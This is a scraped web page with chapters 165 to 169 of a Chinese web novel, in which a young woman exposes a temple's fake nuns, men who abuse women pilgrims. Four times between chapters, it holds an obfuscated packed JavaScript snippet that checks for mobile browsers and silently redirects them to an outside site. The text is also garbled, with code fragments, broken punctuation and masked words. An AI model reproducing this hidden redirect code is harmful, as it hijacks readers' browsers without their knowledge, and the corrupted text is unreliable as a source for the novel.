l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115889|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /a>更新,记住域名caixs**(请来才 小说 看最新章节 完整章节) 康氏去了小佛堂,不断地求菩萨保佑。 秋姨娘躲在自己的院子里,一边觉得十七姨娘叫得太惨了瘆得慌,一边又盼着这孩子千万别生下来。 十七姨娘的惨叫声忽然停了,叶绯霜和郑茜霞对视了一眼,生了?可是怎么没听见孩子哭呢? 片刻后,十七姨娘又叫唤了起来,原来刚才是晕过去了。 “五妹妹,我害怕。”郑茜霞捂着耳朵,一张小脸煞白,“生孩子这么痛的吗?” 忽然,房中传来郑丰的暴喝:“废话么这不是?肯定保小啊!保我俩儿子!我儿子们一定要好好的!” 郑丰说完,十七姨娘的叫声愈发惨烈了,没多久,就听不见了。 很快,房中传来两声嘹亮的婴儿啼哭。 院中的丫鬟们眉开眼笑,争先恐后地涌入房中向郑丰道喜,想讨个**,多拿点赏钱。 叶绯霜想,就没人觉得十七姨娘可怜吗? 一个女人失去了性命,多么惨痛的一件事,竟然就这么轻飘飘地被两个孩子降生的喜悦给冲散了,没有激起丝毫涟漪。 她**,但是她身边的所有人都在笑,都在说“恭喜”。 太荒唐了。 忽然,房中传来一阵此起彼伏的惊恐尖叫,就和见了鬼似的,顿时冲散了那铺天盖地的喜悦气氛。 房中骤然安静了下来,一片死寂,就连婴儿的啼哭声都听不见了。 没多久,靳氏出来了。 见到她俩,靳氏吓了一大跳,本就青白的脸色更难看了:“你们怎么在这儿?快回去,这哪儿是姑娘家来的地方!” 她攥住叶绯霜的手:“快走。” 靳氏手心冰凉潮湿,颤抖不停。 叶绯霜不禁问:“娘,怎么了?” “别问,快走。” 等回了玉琅阁,靳氏才说:“大人和孩子都没保住。” “可我已经听见孩子哭了啊,声音还很大。” “哭了一嗓子就没气儿了,以后别提这事了,不吉利。” 可五房那群人叫得那么恐怖,明显受到了巨大的惊吓。 见叶绯霜不信,靳氏也不瞒她了,低声道:“十七姨娘生了个怪胎。” 第165章 等到你啦 鼎福居内。 郑老太太和罗妈妈听到底下人的汇报,也都震惊了。 傅湘语把手里的药碗都摔了。 “竟有这等怪事?”罗妈妈紧紧皱起了眉头。 说话这下人是郑老太**插在五房的眼线。 “是啊,稳婆们起初就觉得怪,难产一般是胎位不正,可十七姨娘生的时候的确是孩子的头先出来的,按说生产会很顺利,可就是生不下来。 后来五老爷说了保小,稳婆们才把孩子拽出来,谁知竟是个怪胎!俩孩子头和上身都无异,可偏偏腿是连在一块儿的!五老爷骇了一大跳,当场就命人处理了,对外说母子俱亡。” 罗妈妈打发走了这下人,疑惑道:“真不知道十七姨娘是造了什么孽,生出这样不详的胎来。会不会是被人害了?还是吃了什么不对的东西?” 傅湘语眼珠子一转:“会不会是冲撞了什么?外祖母,咱们府上以前都好好的,自打五姑娘一回来,咱们府上就没太平过,出了多少事儿了。是不是她把什么不干净的东西带回来了?” 罗妈妈:“难道是厌胜之术?” 傅湘语道:“我在书上看见过,有人使一些下三滥的手段,做损人利己的事。五姑娘回来后,除了她们那个小家好起来了,其它几房谁落着好了?外祖母、两位姨母、博哥儿和媛姐儿、二姑娘、现在又是五房……” 傅湘语一边说,一边观察着郑老太太的神态,知道自己是说到外祖母的心坎里去了。 “肯定的。”郑老太太说,“家里肯定是出了不祥之人,把大家伙都给连累了。” 傅湘语忙道:“那要尽快把这人揪出来,可不能让她再害旁人了!” 郑老太太冷嗤一声,三角眼中寒光凛冽:“不急,咱们得好好安排,一次性把事情做干净了。” 第二天,小桃就说,五房的下人换走了一大半。 叶绯霜不意外。为了不让十七姨娘产下怪胎这事泄露出去,知情人肯定都会被处理掉的。 昨天上赶着去讨彩头,谁能想到讨来的是催命符呢? 如今整个五房都阴云密布,所有**气都不敢喘一下。 唯有一个人很开心——秋姨娘。 那个小**母子俱亡,这不就是老天爷在 为他们宝哥儿铲除障碍吗? 秋姨娘抱着儿子来找郑丰,安慰道:“老爷,十七姨娘去了是她无福,您得保重身子,别太难过,你还有宝哥儿啊。 郑丰抱着虎头虎脑的郑文宝,这依然是他唯一的儿子。 郑丰想,宝哥儿不愧是神赐之子,就是有福相。 对,那个女人生出不详的怪胎是她的问题,是她造孽,和他没关系! 他好着呢,否则送子观音也不会把宝哥儿赐给他! 郑丰心想,白溪寺的姑子们赶紧来吧,再让菩萨多赐几个宝哥儿这样的好孩子给他! 叶绯霜去了璐王府。 今天她没有和宁衡一起练枪,而是说自己不太舒服,和璐王妃坐在一边聊天。 她把话题引到了白溪寺,问璐王妃:“我对这么灵验的寺庙太好奇了,王妃您给我讲讲,求子到底是怎么求的? 璐王妃说:“挺简单的。我们去了白溪寺后,姑子们烧香祭天,然后把我们带到了一个禅房里,睡了一觉,醒来就结束了。 “你们? “对呀,我和王爷。 叶绯霜顿时精神了:“王妃睡觉的时候王爷也在? “是啊,不过他没睡,他在我旁边打坐。臭男人睡什么觉,生孩子累得又不是他们。 咦,这和她了解到的情况不一样。 莫非那些假姑子不敢混淆皇室血脉,所以没敢对璐王妃做什么? 于是叶绯霜追问:“那王妃睡醒之后,有没有什么感受?比如说感受到菩萨显灵了什么的。 “并没有,都没梦见送子观音。璐王妃撇嘴,“和我在家里睡觉一样的。哦不对,不一样,他们庙里的床没家里的舒服。 叶绯霜松了口气,看来璐王妃没有遭遇不好的事情。 她又道:“世子不愧是送子观音所赐,感觉比王爷……嗯,青出于蓝而胜于蓝。 璐王妃大笑起来:“你想说衡儿和王爷不像是吧? 叶绯霜不好意思地笑了笑。 “多亏不像,像他岂不是完啦?都长不高! 即便知道了这些,叶绯霜的心也没有彻底 放下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115890|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比起宁衡的血统正宗与否,白溪寺之事败露后,百姓们如何看待宁衡的血统才是最重要的。 现在许多人都知道宁衡是璐王妃从白溪寺求来的,即便璐王妃没有被假尼姑们伤害,百姓们会不会认为璐王府是为了维护自身名誉,强迫白溪寺的人做了伪证? 即便宁衡长得像先帝,又有何用?百姓们怎么知道先帝长啥样? 比起天潢贵胄,他们更愿意相信宁衡是个父不详的野种。 说白了,许多人都爱看登高者跌重。 况且,璐王和璐王妃恩爱不移,独子竟非皇室血脉,堂堂王爷被假尼姑戴了绿帽子,这是多好的茶余饭后的谈资。 悠悠之口难堵,流言蜚语难止。 叶绯霜暂时没有把白溪寺的真相告诉璐王妃,毕竟她无法解释自己的消息来源。 她按照自己想好的计划,去找萧序。 这还是她第一次来萧序这个院子。 一进院门,首先看到的竟然是一座掩映于梅林之中、坐落于玉台之上的,巨大的假山。 更让她惊讶的是,引她进来的人走到假山前边,指着一个又高又宽的山洞说:“我家公子就住在里边。” 叶绯霜沉默良久,怀疑自己幻听了:“他住山洞里?” 下人点头,一本正经:“是的。” 叶绯霜:“……” 她怀着复杂的心情,进了山洞。 进去后才发现是她狭隘了。里边雕梁画栋,灯火通明,各式名贵器具整齐罗列,而且因为这个山洞比一般的房间还高,显得宽敞又华丽。 萧序看见她,愣了片刻,惊喜道:“阿姐!” 叶绯霜笑着问:“你这是什么癖好?怎么会想起住山洞的?” “因为我知道住在这里就能等到阿姐来接我呀。”他开心地说,“看,这不就让我等到啦?” 叶绯霜忽然觉得这情形有些耳熟。 好像她前世的朋友说过来着,说她听自己的下人们聊天,有个谁把房子改成了山洞的模样住里边,朋友说了那人的名字,但叶绯霜忘记了。 主要是因为她的朋友讲过的离奇之事太多了,又是大飞鸡又是手鸡又是殿梯的,很难都记住。 现在看来,可能说的就是萧序。 第166章 你长得丑 叶绯霜尊重人家的个人习性,没多置喙,只说来意:“萧序,你可以找到逸真大师吗?” 萧序垂着脑袋不说话。 叶绯霜微微凑近他一点点:“萧序?” 他一动不动地杵着,就和聋了似的。 叶绯霜福至心灵:“悬光?” 他立刻抬起头来,笑得眉眼弯弯:“哎!我可以找到他!阿姐要见他吗?我这就派人带他过来!” “不劳烦大师。”叶绯霜忙摆手,“大师现在在宁国寺吗?我可以去寺里寻他老人家的。” 萧序撇撇嘴巴,很不满意:“老秃驴哪里配阿姐去找。” 叶绯霜:“……那可是你师父。” “哼,比不上阿姐一根头发。” 叶绯霜算是发现了,在萧序这人眼里,除了他阿姐,其它所有人平等的都是粪土。 —— 小桃发现她家姑娘自打去了宁国寺一趟之后就变得很忙。 莫非在宁国寺的时候菩萨给了什么指引,姑娘找到了发财之道? 在素锦和周娘子捣鼓,在味馨坊和绿蕊捣鼓,在香料坊和桑彤捣鼓,就这么陀螺似的转了好几天后,叶绯霜终于消停了下来。 小桃完全不知道她关起门来都捣鼓了些啥,估计是生意上的事,所以没问,毕竟她不太懂。 路过万福居时,叶绯霜带小桃上楼吃饭。 不知道瞧见了谁,叶绯霜忽然拍了拍小桃:“快,把世子给我叫来,说我请他吃饭,让他必须来!” 小桃立刻去了。 宁衡其实已经用完膳了,但是本着师命不可违的原则,还是来了。 他正暗赞自己真是个尊师重道的好徒弟时,不料他师父筷子一撂,忽然开始抨击他的外貌。 师父说他长得丑。 长、得、丑。 宁衡惊呆了,刚刚喂进嘴里的鱼脍就这么掉了出来。 “哎师父,你说别的我都能忍,这话我可真不爱听了。”宁衡一副不服的样子,“我哪儿丑了?” 宁衡非常喜欢漂亮的东西,当初非得拜叶绯霜为师就是因为她的枪耍得好看。 他对自己也相当满意,所以每天打扮得和开屏的孔雀似的。 他长这么大,被说过笨、说 过呆,就是没被说过丑。 无法接受。 宁衡伤心了,就连叶绯霜忽然说的一句“你长得都不像你父王,你当然丑了这句话有多么生硬都没察觉出来。 “这话就不对了。我要像我父王,你说我丑那我没话说。宁衡据理力争,“但我像我皇爷爷,你去京城问问,谁不知道我皇爷爷可是出了名的美男子! 叶绯霜撇嘴:“吹牛呢吧?谁知道你是不是真的像先帝。 宁衡:“我……就是像! 他气鼓鼓的:“见过我皇爷爷的都说我和皇爷爷年轻时一模一样! 恰巧,他们隔壁临窗那桌,有一位须发皆白的老者。 这位老爷子和郑家联宗,也姓郑。两朝元老,去年告老还乡。 叶绯霜大声问老爷子:“郑爷爷,世子说他长得和先帝一模一样,真的假的啊?吹牛呢吧? 她嗓门大,一时间许多人都看了过来。 老爷子捋着胡须,笑眯眯地说:“世子还真没瞎说,他的确肖似先帝,有先帝少时之风。 宁衡得意地扬起下巴,用手在脖子上一划,吓唬叶绯霜:“你可不能再说我丑了,否则便是说先帝丑,要砍脑袋的! 老爷子颇受先帝重用,和先帝君臣相和,很是要好。乍然被提起话头,不由地说了许多先帝的往事,老怀伤感。 “去年回乡后第一次见世子,我还乍然恍惚,以为回到了和先帝初见时。像,真的是太像了。 老爷子说着说着还掉了泪,同席其它人急忙安慰他,然后一桌人对着京城的方向哭成了一片。 “师父,你干的好事。宁衡小声抨击她,“要不是你非说我长得丑,也不会这样。 “你不丑。叶绯霜同样小声,“我觉得你可好看了。 宁衡嘟囔,狠狠戳着盘子里的牛肉:“一听我和皇爷爷真的很像我就不丑了,师父,你不是觉得我好看,你只是怕**。 叶绯霜朝他嘿嘿地笑。 从万福居出来时,一行人打马从门口飞驰而过,为首的是位锦带当风的贵公子,后边跟着几位豪仆。 宁衡“咦?了一声:“他怎么来了? 叶绯霜没看清:“谁呀? “宁泓。宁 浔的五哥,俩人是一母同胞的亲兄弟。” 叶绯霜没听说过这人,于是问: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115891|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他和宁浔比起来怎么样?” “人品肯定比宁浔好多了,起码不做欺男霸女的事。”宁衡道,“但我不太喜欢他。” 下午,在璐王府远远见到宁泓后,叶绯霜就知道宁衡为什么不喜欢他了。 这人太严肃了,年纪轻轻却板着一张脸,嘴角向下撇着,苦大仇深的样子,不是很讨喜的相貌。 说白了,长得不够好看。 第二天,荥阳城热闹无比,万人空巷。 长街两边挤满了人,街道两侧的酒楼、茶馆也被占满了,男女老少全都伸着脖子,等着看白溪寺的仙姑们是什么样子。 是的,白溪寺可以让送子观音显灵这件事经百姓们口耳相传后,尼姑们就升格成了仙姑。 “来了,来了!”有人喊了起来。 足足有十余辆马车,前边几辆庄严宽大,里边坐着人。后边几辆是特质的板车,拉着东西。 最醒目的是打头那辆,马车上有个硕大的莲台,一位三十来岁的灰衣尼姑趺坐其上,双手结成禅定印,肃容闭目,口中念念有词,一派庄严之相。 这架势还挺能唬人的,路边已经有不少百姓跪地下拜了。 那尼姑睁开眼,站起来,拿着个白玉瓶,用里边的柳枝往两边点,被洒到水的百姓兴高采烈,说得到了观音娘娘的庇护,马上就能喜得贵子了。 因为这群姑子是被郑丰请来的,所以她们最先去的就是郑府。 叶绯霜一路跟着回去,瞧见康氏在门口迎接。 车里的人接连下来,各个面容白皙清秀,身姿单薄清瘦,没有很高的。 灰色纳衣衣摆在风中飞卷,还真有种超脱不俗之感。 光这么看,的确看不出是男人。 叶绯霜着重看了看她们的衣领,果然高很多,收束到了下巴,把脖子严严实实地包裹了起来。 叶绯霜进了府,听见康氏和那个坐莲台的尼姑在说话,康氏叫对方“修善居士”。 叶绯霜嘴角抽了抽,真是好不要脸。 干出这种损阴德的事,竟然还叫“修善”。 康氏忽然对叶绯霜说:“明天的第一场法事,就我你娘做吧。” 叶绯霜闻言一愣。 怎么换时间了? 订好的时间不是这样的啊。 不可不可,万万不可! 第167章 真相败露 几天前,康氏就在排布法事的顺序了。 叶绯霜对她娘说,他们这一房的法事必须在九月二十八做,一天不能早,也一天不能晚。 靳氏不理解,叶绯霜说她请逸真大师算过了,只有那天是最适合靳氏的黄道吉日。 靳氏倒是看得很开,笑道:“其实我倒不在意这些,娘亲有你就心满意足了,再生不生倒是不打紧,不用强求。” 其实要不是康氏盛情难却,她都不想做这个法事。 “不行,咱们得做。”叶绯霜说,“就九月二十八做。” 靳氏拿她没办法,温柔点头:“好好好,娘都听你的,做。” 于是她和康氏说了九月二十八,康氏答应了,还笑言:“那你们就是第一场。” 康氏的安排是:姑子们九月二十五——也就是今天到荥阳。明天修整一天,二十七先去璐王府让璐王妃还还愿,二十八才正式开始做法。 叶绯霜想,这太好了。 把她娘安排在第一场,她就可以直接拆穿这群人的庐山真面目,不会让他们有机会再多祸害哪怕一名女子。 可是现在怎么忽然就换日子了? 明天不是要修整吗? 她就这么问了,那位修善居士说:“不必歇息,我们并不劳累,不想耽误时间。尽快做完我们还要赶往下一个地方,造福更多的百姓。” 康氏忙道:“师父们真是大仁大义。” 修善念了句佛号,慈眉善目地说:“世人皆苦,多助一人便是善。” 叶绯霜立刻道:“可是今早我听我娘咳嗽了几声,怕是有些风寒,唯恐冲撞了佛祖菩萨,还是过两日再做吧。” 后边有个尼姑接话:“无妨,生老病死乃人生常态,佛祖并不会因此怪罪的。” 叶绯霜回头看去,见是一个身量略高的尼姑。 这应该是个男人。 如果她不知道白溪寺的真相,她大概会觉得这个姑子看着她的目光很专注、诚挚。 但知道了真相,她觉得这个人的眼神很肮脏。 其实叶绯霜还真没想错。 她刚一出来,这群人的眼睛就亮了。 有这般容色的女儿,母亲定然不会差。 一群做惯了淫逸之事的人, 哪里还愿意等? 恨不得现在就能去“做法”。 叶绯霜还欲再说,却听见迎面传来一连串的娇笑:“哎呀,盼星星盼月亮,可算把各位师父给盼过来了!” 来人正是秋姨娘。 秋姨娘在白溪寺求来了郑文宝,便自认为和白溪寺结下了深厚的缘分。 其实刚才她还想去门口迎来着,但是康氏没让。还说让她记住自己的身份,不要做逾矩之事。 秋姨娘心里愤愤,悄悄把康氏骂了个狗血淋头,暗想迟早有一天把你踹下来。 她刚才听见叶绯霜和这群人说的话了,忙道:“既然明天四夫人不方便做法事,那就先给我做吧!” 她一直都想当第一个,觉得很体面。 而且她还有种感觉,第一场法事一定是最灵的,因为菩萨灵力最充足。 但靳氏想做第一场,人家是正头夫人,她没资格和人家抢。现在这大好的机会落到五房了,她难道还要输给其它妾? 那可不行。 她必须当第一个。 叶绯霜说:“秋姨娘,你其实不用太着急……” “什么意思啊五姑娘。”秋姨娘觉得叶绯霜阻拦是因为想留着第一场给靳氏,没什么好语气地说,“别这么自私啊,你娘做不了第一场,还不让旁人做了?难不成什么好事都要给你们四房得了才行吗?” 好言难劝该死的鬼,叶绯霜懒得再说。 秋姨娘扬着下巴,娇俏地“哼”了一声。 她和白溪寺缘分深,能求来一个宝哥儿,就能求来第二个。 等着瞧吧这些人。 转眼到了九月二十八,这群尼姑一大早就来玉琅阁布置了。 设法坛、请神像、挂经幡……弄得有模有样的。 这一场面叶绯霜前天在五房已经看过了,这个时候还是允许围观的。等进了房间,就不允许院中有人了。 所以此时,来围观的人有很多,而玉琅阁又大,完全放得下。 不光卢氏和康氏、郑府的下人们在,还有其它一些排在后边等待做法事的贵妇派来打探情况的丫鬟们。 烟雾缭绕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115892|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛经低吟,一派庄严。 所有人都专注地看着法坛,所以没有人注意到空中有一道白色流光掠过 。 叶绯霜趁没人注意将一把香粉洒进了身后的香炉里。 香粉遇到热灰散发出淡淡的味道混在浓郁的檀香中没人注意到。 忽然上空响起一阵惊空遏云的鹰唳声。 众人抬头望去只见一只通体雪白的巨鹰正在振翅翱翔。 人们纷纷惊呼起来。 白色动物通常被视为祥瑞之兽譬如白鹿、白狐、白鹤。 而白色的鹰更是罕见更何况这只鹰还散发着淡淡金光。 有人叹道:“莫非是灵鹰?” “神仙显灵了吗?” 一时间众人对院中的姑子们愈发顶礼膜拜了。 可变故忽然就发生了只见那雪鹰在低空盘旋两圈后忽然急转直下飞速袭来。 长翅一扇直接把法坛给抄了。 经幡到了佛像掉了香炉翻了香灰荡了临近几人一身。 众人傻眼了。 ……不是祥瑞之兆吗? 那修善居士倒是反应快 叶绯霜反驳:“居士如何得知佛祖罚的是我们呢?” 修善柳眉倒竖怒道:“不是你们还是谁难不成是我们这些信徒?我们白溪寺立寺数十年从未遇到过这种事可见你们是何等大奸大恶之人!” 不少人听到这话纷纷开始往玉琅阁外边退生怕沾染上四房的“大奸大恶”。 “到此为止。”修善居士说“佛祖不会给恶人赐福。” 说罢便起身要离开。 可谁知那雪鹰再次盘旋而下朝一名不起眼的尼姑腰上啄去! 鹰喙又尖又硬啄一下不啻于刀尖捅入那尼姑立刻惨叫起来。 他连带他周围几人都挨了狠狠一通啄。 几人又跳又跑叫唤着让周围的尼姑们帮忙场面顿时混乱无比。 郑府的下人们也来帮忙成年男仆进不来垂花门所以在内院做事的都是些十岁左右的小子们。 不知道哪个小子手太快了把一个被鹰啄的尼姑的裤子扒了下来。 接着这小子竟高声大叫起来:“啊男人!你竟然是男人!” 第168章 脸丢尽了 这句话太过惊悚,在场之人都没反应过来。 足足死寂了好几息,接着便如油锅沸腾,顿时炸了。 就连一向沉稳持重的卢氏也不敢相信自己听到了什么。 那小子还在叫:“他有鸟!他是男人!” 极度荒唐之下,女眷们连害羞都没顾上。 卢氏反应过来后,怒喝:“来人!” 她广袖一振,连下几道命令:“你去叫郑府护卫,把这群……给我守好,一个都不许跑出去!你去报官,速请知府大人来府!你去宁国寺请逸真大师,若大师不在,便请其它长老来!” 白溪寺的姑子们见事情败露,趁着郑府护卫们还没到,便纷纷往外冲。 “砰”的一声,院门关上了。 叶绯霜站在门口:“各位,没听到我三伯母的话吗?一个都不许出去!” 这群假尼姑自然知道,事情一旦败露,便是轩然大波。 他们也知道,从事情败露的那一刻起,他们就无处可逃了。 但谁愿意坐以待毙呢?哪怕没处逃,他们也要逃。 这群人疯了似的往外跑,叶绯霜抽出早就藏在门口的棍子,几下就轻松放倒了一片人。 外院护卫赶来,守在门口,将玉琅阁围成了一个只能进不能出的铁桶。 叶绯霜叫了几个护卫进来:“去扒了他们的衣服看个清楚,把男人揪出来!” 尼姑们纷纷大叫,不断嚷着“我是女人,不能扒我的衣服”。 周围这么多人,一个为他们说话的都没有,反而憎恶无比。 身为女人,反而和男人一起合伙干这种丧尽天良的事,根本不值得同情。 今日一共来了十三个尼姑,竟然有九个是假的。 假尼姑,和女香客进房间……这所谓的观音送子,到底是怎么个“送”法,其实大家都隐隐猜到了。 但是没人愿意相信,因为太荒唐了。 靳氏的脸都白了,要不是郑涟扶着她,她都要站不稳了。 她差点就,差点就…… 叶绯霜冲过去抱住靳氏,喊道:“娘,吓死我了!” 靳氏抱着女儿,不禁流下泪来。 叶绯霜说:“多亏你和爹爹都是心善之人,才得到神佛庇佑 ,让我们没有被歹人所害! 众人一听,是啊,那鹰只啄假尼姑,可见是神迹,是保护良善百姓的神迹。 白溪寺这些人丧尽天良,佛祖实在看不下去了,所以派神兽来拆穿他们。 现在,那神兽完成使命,早已翱翔远去了。 不知过了多久,杜知府终于赶来。 卢氏派去的人在路上就和杜知府说明了情况,杜知府为官十余载,也被此案震惊了。 白溪寺的所有人被带出郑府,收监。 正值上午,街上人来人往,正是热闹的时候。 百姓们瞧见好些人被从郑府带出来,全都不明所以。 但很快就有不少人认了出来:“呀,这不是白溪寺的仙姑们吗? 大家伙定睛一看,可不是吗? 他们进城时阵仗那么大,尤其是那位坐莲台的修善居士,谁不认识她的脸呢? 其它各府派来观看法事的丫鬟们陆续出来,被好奇的百姓们拦下问:“怎么仙姑们被官府带走了呢? 丫鬟们都是一脸吃了苍蝇的表情:“什么仙姑!都是假的! “合着她们就是普通女人?不是尼姑? “什么女人,是男人!有好些尼姑都是男人假扮的! 白溪寺的尼姑竟然有好多都是男人假扮的——这一消息如同长了翅膀,迅速飞到了荥阳城的每一个角落。 说书的不说了,唱戏的也不唱了,就连耍杂耍的也不转碗了,所有人都开始议论这一惊世骇俗之事。 “白溪寺都建寺多少年了,这得祸害了多少人!损阴啊! “幸好刚来咱们荥阳就败露了,没能祸祸咱们的人。 “那他们到底在咱们荥阳做过法没? “前儿个在郑府,给五老爷的一个妾做了一场。昨儿去了璐王府,但没有做法。今天在郑府四房做,刚开始没多久,就被神兽给识破了! “诶,你们看见那神兽没? “我瞧见了!是一只白鹰! “不对,明明是金色的!还会发光呢! “我还看见最后有个人坐在那只鹰上边走了! “我也看见了,是个老神仙!胡子有这么长。 “对对对。 有人忽然惊叫一声:“郑氏五房?呀郑五老爷的儿子不就是白溪寺求来的吗?” “是啊郑十一郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115893|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的周岁宴我还去了呢!” 有人弱弱接话道:“我记得……璐王世子……好像也是。” 此话一出众人你看看我我看看你都从彼此眼中看到了十足的亢奋和激动。 有了璐王世子和郑十一郎这二位贵公子的加持这个案子的热度又高了一层不止。 郑丰感觉今儿不太对。 他刚从一个铺子出来挺着大肚子在街上闲逛。 以往都有许多人凑过来拍他马屁但是今天一个都没有反而那些人还拿怪怪的眼神看他。 “看什么呢?”郑丰问一个卖梳子的小贩。 那小贩连连摇头:“没……没噗……” 终是没憋住笑了。 试问除了这位郑五老爷还有谁能千里迢迢地把人请来为自己戴一顶绿帽子呢? 哦不对还不止一顶。 郑丰黑了脸郑府的下人就在这个时候找到了他。 “五老爷 郑丰烦躁得厉害也就没什么耐心:“什么大事说!” 下人:“您回府就知道了。” 郑丰一脚把下人踹倒:“让你说你就说舌头不想要了?” 下人无奈只得把白溪寺的事说了。 郑丰宛如五雷轰顶嘴巴张得大大的眼都直了。 “不可能不可能……”郑丰喃喃“我不信不可能!” 他推开随从跌跌撞撞地往家里跑去身后一阵哄笑声。 消息在街上都炸了自然秋姨娘也听到了。 “你在说什么呢?”她根本不信“说出这样的胡话中邪了啊你?” “姨娘是真的……”丫鬟急得眼泪都掉出来了“那些姑子是男人观音送子是假的。” 秋扇愣在原地都不敢去想这句话背后还有什么。 下一刻郑丰就冲了进来对着秋扇扬手便是一个耳光:“**我的脸都让你丢尽了你这个**!” 秋扇大哭起来:“老爷我不知道啊我什么都不知道!” 郑丰气得浑身发抖说话声都不连贯了:“把这个**和、和孽种杀了!都杀了!” 秋姨娘尖叫恸哭着被拽了出去不断替自己喊冤但郑丰哪里听得进去。 他只知道完了一切都完了。 什么都没了脸还丢尽了。 而此时的叶绯霜已经策马出了城赶往宁国寺去找她的好徒弟。 第169章 相信师父 宁衡不是很懂为啥逸真大师一大早就把自己叫来了宁国寺。 逸真大师也不说,就坐那儿念经。 宁衡不敢打扰他,更不敢问。 于是宁衡偷偷溜出了佛堂,在院子里闲逛。 他来过宁国寺不少次,还没仔细看过呢。 宁国寺是真挺大的啊,大雄宝殿那么宏伟,佛堂那么多,远处还有一座高高的木制佛塔。 他背着手信步溜达着,忽听身后传来一个焦急的声音:“你还有心思在这儿逛呢,出事了知不知道!” 宁衡回头一看,是宁泓。 虽然不喜欢宁泓,但礼数不可废,他端端正正行了个礼:“堂兄,怎么了?” 宁泓把白溪寺的事情说了一遍,皱眉道:“你不就是王叔王婶从白溪寺求来的?” “是啊。”宁衡说,“可是白溪寺的姑子是男人和我有什么关系啊?” 宁泓服了他这个反应力:“你知道他们送子怎么送吗?” “知道啊,送子观音来送嘛。” “有个屁的送子观音!所谓的送子,就是那些假尼姑和女香客交合,才让她们得以有孕生子,你这下明白了?” 宁衡眨了眨眼,反应过来后,脸上的血色登时褪去。 怒气从心口涌上头顶,焚烧了理智。他一把揪住宁泓的衣领,怒吼:“你什么意思?你说我不是父王的孩子?” “不是我说,是荥阳城的百姓们都这么说!” 宁衡厉声:“我怎么可能不是!” “你和璐王叔长得又不像,那些百姓怎么相信!” “那是因为我像皇爷爷!” “有什么用?谁见过皇爷爷?他们只会说你这个璐王世子是个父不详的野种!” 最后几个字,仿佛化成了一记记重锤,不断敲在了宁衡脑袋上,让他头晕目眩,双耳嗡鸣。 “父不详的野种……”他喃喃,无力的松开宁泓,仓皇后退几步,“我不是,他们不能那么说我……” 宁泓深吸一口气,整了下皱巴巴的衣领:“我想想办法看能不能把流言压下去,但我估计够呛,这事太大了,传得太快。你赶紧回璐王府吧,和王叔王婶商量商量该怎么办。” 宁泓走出两步,又转过头来道:“ 宁衡,你的血统我肯定不会怀疑,但关键是百姓们怎么看,要是不能妥善处置,堵不住悠悠之口,你将来连王叔的爵位都袭不了! 宁泓说罢,匆匆走了。 其实他这次也是为了白溪寺来的。 他倒不是为了求子,他就是单纯想看看这个寺到底是怎么个灵法,他一直都不太信。 果然,背后是这么荒唐的真相。 还把璐王府扯了进去,真是糟心。 宁衡只觉得天塌了。 父不详的野种…… 所以他和父王长得一点都不像。 而他又真的像皇爷爷吗?是不是别人为了让他高兴,骗他的? 宁衡脑子一片混沌,想不明白。 现在的百姓们在怎么议论他们璐王府呢? 尤其是母妃,她是那样尊贵、那样好面子的人,她会被说成什么样? 他要回家。 他要和父王母妃在一起。 他们是一家人,不管有什么事,都要一起面对。 宁衡拖着自己重如千斤的腿,蛮力往外跑去。 匆匆赶来的叶绯霜拦住了宁衡:“世子! 宁衡被这两个字激了一下。 “宁衡。叶绯霜换了个称呼,“你不要走,我有办法。 宁衡现在什么都听不见了,他只有一个念头——回家。 “我要回家,我要去找父王母妃,我们是一家人,没有什么能把我们分开…… 叶绯霜拽住宁衡,只见他脸颊肌肉不断抖动,牙关咯吱作响,猩红的双目仿佛要沁出血来。 叶绯霜拔高声调:“我说了我有办法,你冷静一点听我说好不好! 宁衡只觉得叶绯霜是在安慰他。 